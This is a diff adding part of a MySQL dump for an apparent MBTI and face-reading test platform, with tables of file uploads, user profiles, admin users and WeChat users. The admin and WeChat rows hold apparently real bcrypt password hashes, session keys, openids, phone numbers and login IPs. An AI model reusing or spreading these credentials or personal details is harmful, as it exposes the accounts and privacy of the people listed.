+INSERT INTO `mbti_upload_files` VALUES (82, 'mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'oss', 'bafbc654e74c6a8ce82ad9fa8cca8363', 125148, 'image/jpeg', 'jpg', 1773219333, 1773219333);
+INSERT INTO `mbti_upload_files` VALUES (83, 'mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'oss', '0027b5729ea7282f8bd98574e9389349', 120208, 'image/jpeg', 'jpg', 1773219352, 1773219352);
+INSERT INTO `mbti_upload_files` VALUES (84, 'mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'oss', '506ea02dafe435552668874c1d7c0c65', 129913, 'image/jpeg', 'jpg', 1773219352, 1773219352);
+INSERT INTO `mbti_upload_files` VALUES (85, 'mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'oss', 'd121680da07428ec87db54b9b81d9b35', 127374, 'image/jpeg', 'jpg', 1773219353, 1773219353);
+INSERT INTO `mbti_upload_files` VALUES (86, 'mbti/20260311/img_69b13ab171e520.51202929.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg', 'oss', 'e39c576e6239becee2b333bfb05b7a7a', 146000, 'image/jpeg', 'jpg', 1773222577, 1773222577);
+INSERT INTO `mbti_upload_files` VALUES (87, 'mbti/20260311/img_69b13ab163f450.57707298.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg', 'oss', 'dc932dc407a57f3b334b8930981ca537', 153759, 'image/jpeg', 'jpg', 1773222577, 1773222577);
+INSERT INTO `mbti_upload_files` VALUES (88, 'mbti/20260311/img_69b13ab1747880.84872798.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg', 'oss', '51a4325ac73792a03e67c100267fe425', 178084, 'image/jpeg', 'jpg', 1773222577, 1773222577);
+INSERT INTO `mbti_upload_files` VALUES (89, 'mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'oss', '40a5eb10010afa4da9b55be7856b6b2f', 170198, 'image/jpeg', 'jpg', 1773227464, 1773227464);
+INSERT INTO `mbti_upload_files` VALUES (90, 'mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'oss', '981a3f4809a522a3905fcd37271e955d', 167458, 'image/jpeg', 'jpg', 1773227464, 1773227464);
+INSERT INTO `mbti_upload_files` VALUES (91, 'mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'oss', 'c09ab1ab078d40810cebac61787d35fb', 164566, 'image/jpeg', 'jpg', 1773227465, 1773227465);
+INSERT INTO `mbti_upload_files` VALUES (92, 'mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'oss', '8ddbe41959187eb360aea40e98d81ef9', 4389, 'image/jpeg', 'jpg', 1773227584, 1773227584);
+INSERT INTO `mbti_upload_files` VALUES (93, 'mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'oss', '0a3d1afe8ab13d4e34f955003ca8c7d4', 69706, 'image/jpeg', 'jpg', 1773227850, 1773227850);
+INSERT INTO `mbti_upload_files` VALUES (94, 'mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'oss', '2d49facb79942ed6098b165496bcf475', 115505, 'image/jpeg', 'jpg', 1773228007, 1773228007);
+INSERT INTO `mbti_upload_files` VALUES (95, 'mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'oss', 'b3651bcc0238b373bac9184d3a7e64fd', 121426, 'image/jpeg', 'jpg', 1773228007, 1773228007);
+INSERT INTO `mbti_upload_files` VALUES (96, 'mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'oss', '4900f43385f32594e0542aeaa0e45be4', 122027, 'image/jpeg', 'jpg', 1773228008, 1773228008);
+INSERT INTO `mbti_upload_files` VALUES (97, 'mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'oss', 'b1e800a3a795935069b4ab1a31917c29', 122984, 'image/jpeg', 'jpg', 1773228073, 1773228073);
+INSERT INTO `mbti_upload_files` VALUES (98, 'mbti/20260311/img_69b15028ccd066.43636225.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg', 'oss', '6f158bcea443e18cfd3310c76a50a436', 120914, 'image/jpeg', 'jpg', 1773228073, 1773228073);
+INSERT INTO `mbti_upload_files` VALUES (99, 'mbti/20260311/img_69b15028ce1643.64175223.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg', 'oss', 'fc7c66436b4a6951db2c651d9c2324a7', 120377, 'image/jpeg', 'jpg', 1773228073, 1773228073);
+INSERT INTO `mbti_upload_files` VALUES (100, 'mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'oss', '112209e613570cda5e0320f04ef0e4fd', 153274, 'image/jpeg', 'jpg', 1773228395, 1773228395);
+INSERT INTO `mbti_upload_files` VALUES (101, 'mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'oss', '3b1d0c359ac4e578b722d8010009e033', 153680, 'image/jpeg', 'jpg', 1773228396, 1773228396);
+INSERT INTO `mbti_upload_files` VALUES (102, 'mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'oss', 'd2817f45e62023d426af5e1a869ba2b7', 151364, 'image/jpeg', 'jpg', 1773228396, 1773228396);
+INSERT INTO `mbti_upload_files` VALUES (103, 'mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'oss', '134dd68939a27b2a1d973ef9960cce40', 166121, 'image/jpeg', 'jpg', 1773228452, 1773228452);
+INSERT INTO `mbti_upload_files` VALUES (104, 'mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'oss', '502b8440cd6bccce64d5058e10ff194d', 165584, 'image/jpeg', 'jpg', 1773228452, 1773228452);
+INSERT INTO `mbti_upload_files` VALUES (105, 'mbti/20260311/img_69b151a3eba629.60383383.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg', 'oss', 'daccbd84b40e644769025d9e69277ade', 169727, 'image/jpeg', 'jpg', 1773228452, 1773228452);
+INSERT INTO `mbti_upload_files` VALUES (106, 'mbti/20260311/img_69b152a11237f1.79404762.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg', 'oss', '766dc74560baf9a631b9cb4fca87b45b', 147954, 'image/jpeg', 'jpg', 1773228705, 1773228705);
+INSERT INTO `mbti_upload_files` VALUES (107, 'mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'oss', '4f7d7b697ae8525e9dc6ea62c55efb18', 165695, 'image/jpeg', 'jpg', 1773228705, 1773228705);
+INSERT INTO `mbti_upload_files` VALUES (108, 'mbti/20260311/img_69b152a0f32570.64051638.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg', 'oss', 'efd29da39c44fe96d4da9ed8dce04c15', 139846, 'image/jpeg', 'jpg', 1773228705, 1773228705);
+INSERT INTO `mbti_upload_files` VALUES (109, 'mbti/20260311/img_69b152e6decb88.39454837.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg', 'oss', 'f45c70d40e294276e6d75d59f80713cf', 137357, 'image/jpeg', 'jpg', 1773228775, 1773228775);
+INSERT INTO `mbti_upload_files` VALUES (110, 'mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'oss', '1cbd694fd6fc4db365e90aceff1bd2ec', 142606, 'image/jpeg', 'jpg', 1773228775, 1773228775);
+INSERT INTO `mbti_upload_files` VALUES (111, 'mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'oss', '03a098f6452fcda2eb2ba3c29e48e6df', 143220, 'image/jpeg', 'jpg', 1773228776, 1773228776);
+INSERT INTO `mbti_upload_files` VALUES (112, 'mbti/20260311/img_69b15315631506.55875786.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg', 'oss', 'e83a0884339d6d67b51d5030b054d1e2', 141736, 'image/jpeg', 'jpg', 1773228821, 1773228821);
+INSERT INTO `mbti_upload_files` VALUES (113, 'mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'oss', 'dae5b4f398f6823f7a5b17ce8e68cf4a', 144489, 'image/jpeg', 'jpg', 1773228821, 1773228821);
+INSERT INTO `mbti_upload_files` VALUES (114, 'mbti/20260311/img_69b15315672be1.56231716.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg', 'oss', '3c8e1402536090a7a7af53c319827af2', 145189, 'image/jpeg', 'jpg', 1773228821, 1773228821);
+INSERT INTO `mbti_upload_files` VALUES (115, 'mbti/20260311/img_69b155d8915338.23978756.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg', 'oss', 'c85bfb87be8e713e6d4901b49990dd84', 107481, 'image/jpeg', 'jpg', 1773229528, 1773229528);
+INSERT INTO `mbti_upload_files` VALUES (116, 'mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'oss', 'f0affa39c3e9f8404d7dbe1eda413587', 110855, 'image/jpeg', 'jpg', 1773229528, 1773229528);
+INSERT INTO `mbti_upload_files` VALUES (117, 'mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'oss', '942e00dc9c6607ead97bb4fa82561b68', 108801, 'image/jpeg', 'jpg', 1773229529, 1773229529);
+INSERT INTO `mbti_upload_files` VALUES (118, 'mbti/20260311/img_69b15686bcc486.40018861.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg', 'oss', 'af18e79958b5945a0382f17bdbcd5bb4', 152343, 'image/jpeg', 'jpg', 1773229703, 1773229703);
+INSERT INTO `mbti_upload_files` VALUES (119, 'mbti/20260311/img_69b15686c108a2.00278153.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg', 'oss', 'fea1cd75a030626a5ae1657e4725ed03', 152558, 'image/jpeg', 'jpg', 1773229702, 1773229702);
+INSERT INTO `mbti_upload_files` VALUES (120, 'mbti/20260311/img_69b15686c72c85.43050844.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg', 'oss', 'b2a9575f583d16eb4be4b1f8bbc4afcf', 152875, 'image/jpeg', 'jpg', 1773229703, 1773229703);
+INSERT INTO `mbti_upload_files` VALUES (121, 'mbti/20260312/img_69b22c5b77dd72.66364633.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', 'oss', '34b020b7c4e4bbbb28511c418d973c29', 1387582, 'image/png', 'png', 1773284445, 1773284445);
+INSERT INTO `mbti_upload_files` VALUES (122, 'mbti/20260312/img_69b22d71b312f8.14596541.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', 'oss', '89cf37046fb115e47fe41d1038b47126', 1078792, 'image/png', 'png', 1773284723, 1773284723);
+INSERT INTO `mbti_upload_files` VALUES (123, 'mbti/20260312/img_69b22d78d52b94.76297015.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png', 'oss', 'b67f6ac1003bb0b86e818e3f5432bcc6', 1582821, 'image/png', 'png', 1773284731, 1773284731);
+
+-- ----------------------------
+-- Table structure for mbti_user_profile
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_user_profile`;
+CREATE TABLE `mbti_user_profile` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID',
+ `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)',
+ `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)',
+ `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)',
+ `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数',
+ `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数',
+ `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数',
+ `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数',
+ `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数',
+ `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数',
+ `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)',
+ `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)',
+ `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai',
+ `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间',
+ `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID',
+ `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID',
+ `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID',
+ `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID',
+ `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间',
+ `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE,
+ INDEX `idx_enterprise`(`enterpriseId`) USING BTREE,
+ INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_user_profile
+-- ----------------------------
+INSERT INTO `mbti_user_profile` VALUES (1, 1, 'personal', NULL, 28, 3, 4, 3, 18, 10, 10, 10, 73, 'face', 1772779082, 67, 69, 68, 73, 1772164861, 1773212497);
+INSERT INTO `mbti_user_profile` VALUES (2, 1, 'enterprise', 5, 24, 1, 0, 3, 20, 0, 0, 0, 86, 'face', 1773042949, 71, NULL, 85, 86, 1772246018, 1773042949);
+INSERT INTO `mbti_user_profile` VALUES (3, 6, 'personal', NULL, 5, 1, 0, 0, 4, 0, 0, 0, 100, 'face', 1773130960, 50, NULL, NULL, 100, 1772422915, 1773130960);
+INSERT INTO `mbti_user_profile` VALUES (4, 7, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 51, 'face', 1772428086, NULL, NULL, NULL, 51, 1772428086, 1772428086);
+INSERT INTO `mbti_user_profile` VALUES (5, 1, 'enterprise', 6, 32, 1, 4, 1, 19, 0, 0, 0, 145, 'face', 1773286899, 89, 103, 90, 145, 1772518933, 1773286899);
+INSERT INTO `mbti_user_profile` VALUES (6, 12, 'personal', NULL, 4, 0, 0, 0, 4, 0, 0, 0, 59, 'face', 1772535779, NULL, NULL, NULL, 59, 1772535666, 1772535779);
+INSERT INTO `mbti_user_profile` VALUES (7, 26, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 107, 'face', 1773137428, NULL, NULL, NULL, 107, 1773133602, 1773137428);
+INSERT INTO `mbti_user_profile` VALUES (8, 28, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 116, 'face', 1773218176, NULL, NULL, NULL, 116, 1773218013, 1773218176);
+INSERT INTO `mbti_user_profile` VALUES (9, 29, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 120, 'face', 1773219347, NULL, NULL, NULL, 120, 1773218860, 1773219347);
+INSERT INTO `mbti_user_profile` VALUES (10, 31, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 121, 'face', 1773219366, NULL, NULL, NULL, 121, 1773219366, 1773219366);
+INSERT INTO `mbti_user_profile` VALUES (11, 32, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 123, 'face', 1773222595, NULL, NULL, NULL, 123, 1773222595, 1773222595);
+INSERT INTO `mbti_user_profile` VALUES (12, 33, 'personal', NULL, 6, 0, 0, 0, 6, 0, 0, 0, 134, 'face', 1773228837, NULL, NULL, NULL, 134, 1773227480, 1773228837);
+INSERT INTO `mbti_user_profile` VALUES (13, 35, 'personal', NULL, 3, 1, 0, 0, 2, 0, 0, 0, 132, 'mbti', 1773228717, 132, NULL, NULL, 130, 1773227875, 1773228717);
+INSERT INTO `mbti_user_profile` VALUES (14, 24, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 127, 'face', 1773228086, NULL, NULL, NULL, 127, 1773228025, 1773228086);
+INSERT INTO `mbti_user_profile` VALUES (15, 36, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 135, 'face', 1773229546, NULL, NULL, NULL, 135, 1773229546, 1773229546);
+INSERT INTO `mbti_user_profile` VALUES (16, 37, 'personal', NULL, 2, 1, 0, 0, 1, 0, 0, 0, 137, 'mbti', 1773229852, 137, NULL, NULL, 136, 1773229714, 1773229852);
+
+-- ----------------------------
+-- Table structure for mbti_users
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_users`;
+CREATE TABLE `mbti_users` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID',
+ `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名',
+ `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)',
+ `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号',
+ `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱',
+ `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型',
+ `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区',
+ `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用',
+ `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)',
+ `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `username`(`username`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_role`(`role`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_users
+-- ----------------------------
+INSERT INTO `mbti_users` VALUES (1, 'admin', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', NULL, NULL, 'superadmin', NULL, NULL, NULL, NULL, 1, 1773127322, '222.76.193.38', NULL, 1770877583, 1773127322);
+INSERT INTO `mbti_users` VALUES (2, 'ckb', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', '18888888888', 'ckb@qq.com', 'enterprise_admin', 5, NULL, NULL, NULL, 1, 1773227933, '222.76.193.38', NULL, 1770878340, 1773227933);
+INSERT INTO `mbti_users` VALUES (3, 'test', '$2y$10$mCHe8NX/F48peF3CjPuowu4R0wB7I91I3xE1RLQv.p5dCt6Z7paYG', '', '', 'enterprise_admin', 6, NULL, NULL, NULL, 1, 1773132555, '192.168.1.22', NULL, 1772174277, 1773132555);
+
+-- ----------------------------
+-- Table structure for mbti_wechat_users
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_wechat_users`;
+CREATE TABLE `mbti_wechat_users` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID',
+ `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid',
+ `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)',
+ `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥',
+ `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称',
+ `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL',
+ `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号',
+ `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女',
+ `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家',
+ `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份',
+ `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用',
+ `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)',
+ `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)',
+ `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)',
+ `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_openid`(`openid`) USING BTREE,
+ INDEX `idx_unionid`(`unionid`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_wechat_users
+-- ----------------------------
+INSERT INTO `mbti_wechat_users` VALUES (1, 'oucCB1-ZVIkM-ZfN1L2556LQ4nw0', NULL, 'C0UlsErBrD74oAaBiqbHzQ==', 'wong', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', '18649947301', 0, NULL, NULL, NULL, 1, 1773306690, '192.168.1.22', 6, 1770964161, 1773306690, 9400, 10000, 0);
+INSERT INTO `mbti_wechat_users` VALUES (2, 'oucCB149wurgAL6QNW7ryIDq3yKk', NULL, '8I8CeS/3kT7eGwPw+uHW9g==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1772421720, 1773287182, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (3, 'oucCB13ZKUnsRaYlQssbwTPhVd4M', NULL, 'l3Mpv7KAiY010VFaqRkBhw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772421723, '124.221.213.176', NULL, 1772421723, 1772421723, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (4, 'oucCB15QnGvXVsH3lM4f9VGM3qqM', NULL, 'zlkw6DhwWn8Cjt1r5YDb/w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.221.213.176', NULL, 1772421723, 1773287158, 0, 0, 0);
+INSERT INTO `mbti_wechat_users` VALUES (5, 'oucCB138gzETJPvifeLNMzJF6pWo', NULL, 'p2+DgeFte4tyJNY5xu5Y0Q==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772421759, '119.84.150.100', NULL, 1772421729, 1772421759, 0, 0, 0);
